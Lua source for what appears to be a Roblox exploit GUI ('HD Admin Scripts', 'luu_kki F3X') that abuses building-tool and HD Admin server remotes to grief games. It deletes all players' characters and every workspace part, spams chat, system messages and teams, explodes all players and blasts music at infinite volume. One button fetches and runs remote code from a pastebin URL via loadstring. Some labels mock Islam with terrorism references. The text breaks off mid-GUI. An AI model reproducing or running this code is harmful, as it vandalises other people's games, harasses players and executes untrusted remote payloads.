			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function Punish(player)
				char = player.Character
				DestroyPart(char)
			end
	
			for i,v in game.Players:GetPlayers() do
				--zzspawn(function()
				pcall(function()
					Punish(v)
				end)
				--end)
			end
			wait(0.5)
			local function unanchor(part)
				local buildingTools = nil
				local player = game:GetService("Players").LocalPlayer
	
				for _, item in pairs(player.Character:GetChildren()) do
					if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
						buildingTools = item
						break
					end
				end
	
				if not buildingTools then
					for _, item in pairs(player.Backpack:GetChildren()) do
						if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
							buildingTools = item
							break
						end
					end
				end
	
				if buildingTools then
					local syncAPI = buildingTools:FindFirstChild("SyncAPI")
					if syncAPI then
						local serverEndpoint = syncAPI:FindFirstChild("ServerEndpoint")
						if serverEndpoint then
							local args = {
								[1] = "Remove",
								[2] = {
									[1] = part
								}
							}
							serverEndpoint:InvokeServer(unpack(args))
						end
					end
				end
			end
	
			local function unanchorAllParts(workspaceObject)
				for _, obj in pairs(workspaceObject:GetDescendants()) do
					if obj:IsA("Part") or obj:IsA("MeshPart") then
						unanchor(obj)
					end
				end
			end
	
			unanchorAllParts(workspace)
		end)
	
		local titleLabel = Instance.new("TextLabel")
		titleLabel.Size = UDim2.new(1, 0, 0, 40)
		titleLabel.Position = UDim2.new(0, 0, 0.7, 1)
		titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
		titleLabel.BorderSizePixel = 0
		titleLabel.BorderColor3 = Color3.new(0, 0, 1)
		titleLabel.Font = Enum.Font.Roboto
		titleLabel.Text = "HD Admin Scripts"
		titleLabel.TextColor3 = Color3.new(1, 1, 1)
		titleLabel.TextSize = 30
		titleLabel.Parent = mainFrame
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.74, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "team spam"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";createteam red blue2spooky was here")
			RequestCommand:InvokeServer(";createteam blue team blue2spooky")
			RequestCommand:InvokeServer(";createteam db aPH3tkJY")
			RequestCommand:InvokeServer(";createteam green allah")
			RequestCommand:InvokeServer(";createteam dg LOL!")
			RequestCommand:InvokeServer(";createteam pk shrekchan")
			RequestCommand:InvokeServer(";createteam p blue2spooky")
			RequestCommand:InvokeServer(";createteam y GG")
			RequestCommand:InvokeServer(";createteam o wut")
			RequestCommand:InvokeServer(";createteam black kiga")
			RequestCommand:InvokeServer(";createteam white Bad!")
	
	
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.74, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "anti abuse/anti skid"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";uncmdbar2 others")
			RequestCommand:InvokeServer(";hideguis others")
			RequestCommand:InvokeServer(";re others")
			RequestCommand:InvokeServer(";unjail all")
			RequestCommand:InvokeServer(";unbchat others")
			RequestCommand:InvokeServer(";unname all")
			RequestCommand:InvokeServer(";untitle all")
			RequestCommand:InvokeServer(";unchar all")
			RequestCommand:InvokeServer(";unfog")
			RequestCommand:InvokeServer(";undisco")
			RequestCommand:InvokeServer(";unmusic")
	
	
	
	
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.74, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "chat spam"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";chat others blue2spooky was here")
			RequestCommand:InvokeServer(";chat others blue2spooky")
			RequestCommand:InvokeServer(";chat others halp meh")
			RequestCommand:InvokeServer(";chat others LOL!")
			RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
			RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
			RequestCommand:InvokeServer(";chat others lol wut")
			RequestCommand:InvokeServer(";chat others gg")
	
			RequestCommand:InvokeServer(";chat others blue2spooky was here")
			RequestCommand:InvokeServer(";chat others blue2spooky")
			RequestCommand:InvokeServer(";chat others halp meh")
			RequestCommand:InvokeServer(";chat others LOL!")
			RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
			RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
			RequestCommand:InvokeServer(";chat others lol wut")
			RequestCommand:InvokeServer(";chat others gg")
	
			RequestCommand:InvokeServer(";chat others blue2spooky was here")
			RequestCommand:InvokeServer(";chat others blue2spooky")
			RequestCommand:InvokeServer(";chat others halp meh")
			RequestCommand:InvokeServer(";chat others LOL!")
			RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
			RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
			RequestCommand:InvokeServer(";chat others lol wut")
			RequestCommand:InvokeServer(";chat others gg")
	
			RequestCommand:InvokeServer(";chat others blue2spooky was here")
			RequestCommand:InvokeServer(";chat others blue2spooky")
			RequestCommand:InvokeServer(";chat others halp meh")
			RequestCommand:InvokeServer(";chat others LOL!")
			RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
			RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
			RequestCommand:InvokeServer(";chat others lol wut")
			RequestCommand:InvokeServer(";chat others gg")
	
			RequestCommand:InvokeServer(";chat others blue2spooky was here")
			RequestCommand:InvokeServer(";chat others blue2spooky")
			RequestCommand:InvokeServer(";chat others halp meh")
			RequestCommand:InvokeServer(";chat others LOL!")
			RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
			RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
			RequestCommand:InvokeServer(";chat others lol wut")
			RequestCommand:InvokeServer(";chat others gg")
	
			RequestCommand:InvokeServer(";chat others blue2spooky was here")
			RequestCommand:InvokeServer(";chat others blue2spooky")
			RequestCommand:InvokeServer(";chat others halp meh")
			RequestCommand:InvokeServer(";chat others LOL!")
			RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
			RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
			RequestCommand:InvokeServer(";chat others lol wut")
			RequestCommand:InvokeServer(";chat others gg")
	
	
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.74, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "savemap"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";savemap")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.78, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "allah akbar!"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
			RequestCommand:InvokeServer(";talk all praise allah or sum")
			wait(1)
			RequestCommand:InvokeServer(";talk all allah akbar")
			wait(1)
	
			RequestCommand:InvokeServer(";explode all")
			RequestCommand:InvokeServer(";music 137994058")
			RequestCommand:InvokeServer(";volume inf")
	
			wait(1.5)
			RequestCommand:InvokeServer(";music 247893371")
			RequestCommand:InvokeServer(";volume inf")
	
			wait(3.7)
			RequestCommand:InvokeServer(";music")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.78, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "suicide bomb tool"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			loadstring(game:HttpGet("https://pastebin.com/raw/RjdgsM1U"))()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.78, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "fog"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";disco")
			RequestCommand:InvokeServer(";fog")
			RequestCommand:InvokeServer(";fog inf")
			RequestCommand:InvokeServer(";fog")
			RequestCommand:InvokeServer(";music 5359659874")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.78, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "alot of explosion"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
			RequestCommand:InvokeServer(";insert 12221636")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.82, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Systemmessage spam"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 15
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
			RequestCommand:InvokeServer(";systemmessage LOL")
	
		end)
	end)
end;
task.spawn(C_25);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_27()
local script = G2L["27"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		-- Gui to Lua
		-- Version: 3.2
	
		-- Instances:
	
		local ScreenGui = Instance.new("ScreenGui")
		local ImageLabel = Instance.new("ImageLabel")
		local TextLabel = Instance.new("TextLabel")
		local ImageButton = Instance.new("ImageButton")
		local TextLabel_2 = Instance.new("TextLabel")
		local ImageButton_2 = Instance.new("ImageButton")
		local TextLabel_3 = Instance.new("TextLabel")
		local ImageButton_3 = Instance.new("ImageButton")
		local TextLabel_4 = Instance.new("TextLabel")
		local ImageButton_4 = Instance.new("ImageButton")
		local TextLabel_5 = Instance.new("TextLabel")
		local ImageButton_5 = Instance.new("ImageButton")
		local TextLabel_6 = Instance.new("TextLabel")
		local ImageButton_6 = Instance.new("ImageButton")
		local TextLabel_7 = Instance.new("TextLabel")
		local ImageButton_7 = Instance.new("ImageButton")
		local TextLabel_8 = Instance.new("TextLabel")
		local ImageButton_8 = Instance.new("ImageButton")
		local TextLabel_9 = Instance.new("TextLabel")
		local ImageButton_9 = Instance.new("ImageButton")
		local TextLabel_10 = Instance.new("TextLabel")
		local ImageButton_10 = Instance.new("ImageButton")
		local TextLabel_11 = Instance.new("TextLabel")
	
		--Properties:
	
		ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
		ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
	
		ImageLabel.Parent = ScreenGui
		ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageLabel.BorderSizePixel = 3
		ImageLabel.Position = UDim2.new(0.268317848, 0, 0.244653314, 0)
		ImageLabel.Size = UDim2.new(0, 406, 0, 207)
		ImageLabel.Image = "rbxassetid://83632141493364"
	
		TextLabel.Parent = ImageLabel
		TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel.BackgroundTransparency = 1.000
		TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel.BorderSizePixel = 0
		TextLabel.Size = UDim2.new(0, 406, 0, 25)
		TextLabel.Font = Enum.Font.Arial
		TextLabel.Text = "luu_kki F3X"
		TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel.TextScaled = true
		TextLabel.TextSize = 14.000
		TextLabel.TextWrapped = true
	
		ImageButton.Parent = ImageLabel
		ImageButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton.BorderSizePixel = 0
		ImageButton.Position = UDim2.new(0.024630541, 0, 0.167121038, 0)
		ImageButton.Size = UDim2.new(0, 100, 0, 47)
		ImageButton.Image = "rbxassetid://83632141493364"
	
		TextLabel_2.Parent = ImageButton
		TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_2.BackgroundTransparency = 1.000
		TextLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_2.BorderSizePixel = 0
		TextLabel_2.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_2.Size = UDim2.new(0, 100, 0, 26)
		TextLabel_2.Font = Enum.Font.SourceSans
		TextLabel_2.Text = "decal"
		TextLabel_2.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_2.TextScaled = true
		TextLabel_2.TextSize = 14.000
		TextLabel_2.TextWrapped = true
	
		ImageButton_2.Parent = ImageLabel
		ImageButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_2.BorderSizePixel = 0
		ImageButton_2.Position = UDim2.new(0.290640384, 0, 0.167121038, 0)
		ImageButton_2.Size = UDim2.new(0, 100, 0, 47)
		ImageButton_2.Image = "rbxassetid://83632141493364"
	
		TextLabel_3.Parent = ImageButton_2
		TextLabel_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_3.BackgroundTransparency = 1.000
		TextLabel_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_3.BorderSizePixel = 0
		TextLabel_3.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_3.Size = UDim2.new(0, 100, 0, 26)
		TextLabel_3.Font = Enum.Font.SourceSans
		TextLabel_3.Text = "sky"
		TextLabel_3.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_3.TextScaled = true
		TextLabel_3.TextSize = 14.000
		TextLabel_3.TextWrapped = true
	
		ImageButton_3.Parent = ImageLabel
		ImageButton_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_3.BorderSizePixel = 0
		ImageButton_3.Position = UDim2.new(0.559113324, 0, 0.167121038, 0)
		ImageButton_3.Size = UDim2.new(0, 100, 0, 47)
		ImageButton_3.Image = "rbxassetid://83632141493364"
	
		TextLabel_4.Parent = ImageButton_3
		TextLabel_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_4.BackgroundTransparency = 1.000
		TextLabel_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_4.BorderSizePixel = 0
		TextLabel_4.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_4.Size = UDim2.new(0, 100, 0, 26)
		TextLabel_4.Font = Enum.Font.SourceSans
		TextLabel_4.Text = "message"
		TextLabel_4.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_4.TextScaled = true
		TextLabel_4.TextSize = 14.000
		TextLabel_4.TextWrapped = true
	
		ImageButton_4.Parent = ImageLabel
		ImageButton_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_4.BorderSizePixel = 0
		ImageButton_4.Position = UDim2.new(0.825123131, 0, 0.167121038, 0)
		ImageButton_4.Size = UDim2.new(0, 63, 0, 47)
		ImageButton_4.Image = "rbxassetid://83632141493364"
	
		TextLabel_5.Parent = ImageButton_4
		TextLabel_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_5.BackgroundTransparency = 1.000
		TextLabel_5.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_5.BorderSizePixel = 0
		TextLabel_5.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_5.Size = UDim2.new(0, 63, 0, 26)
		TextLabel_5.Font = Enum.Font.SourceSans
		TextLabel_5.Text = "hint"
		TextLabel_5.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_5.TextScaled = true
		TextLabel_5.TextSize = 14.000
		TextLabel_5.TextWrapped = true
	
		ImageButton_5.Parent = ImageLabel
		ImageButton_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_5.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_5.BorderSizePixel = 0
		ImageButton_5.Position = UDim2.new(0.024630541, 0, 0.449944973, 0)
		ImageButton_5.Size = UDim2.new(0, 100, 0, 47)
		ImageButton_5.Image = "rbxassetid://83632141493364"
	
		TextLabel_6.Parent = ImageButton_5
		TextLabel_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_6.BackgroundTransparency = 1.000
		TextLabel_6.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_6.BorderSizePixel = 0
		TextLabel_6.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_6.Size = UDim2.new(0, 100, 0, 26)
		TextLabel_6.Font = Enum.Font.SourceSans
		TextLabel_6.Text = "title all"
		TextLabel_6.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_6.TextScaled = true
		TextLabel_6.TextSize = 14.000
		TextLabel_6.TextWrapped = true
	
		ImageButton_6.Parent = ImageLabel
		ImageButton_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_6.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_6.BorderSizePixel = 0
		ImageButton_6.Position = UDim2.new(0.290640384, 0, 0.452795714, 0)
		ImageButton_6.Size = UDim2.new(0, 100, 0, 47)
		ImageButton_6.Image = "rbxassetid://83632141493364"
	
		TextLabel_7.Parent = ImageButton_6
		TextLabel_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_7.BackgroundTransparency = 1.000
		TextLabel_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_7.BorderSizePixel = 0
		TextLabel_7.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_7.Size = UDim2.new(0, 100, 0, 26)
		TextLabel_7.Font = Enum.Font.SourceSans
		TextLabel_7.Text = "Fire all"
		TextLabel_7.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_7.TextScaled = true
		TextLabel_7.TextSize = 14.000
		TextLabel_7.TextWrapped = true
	
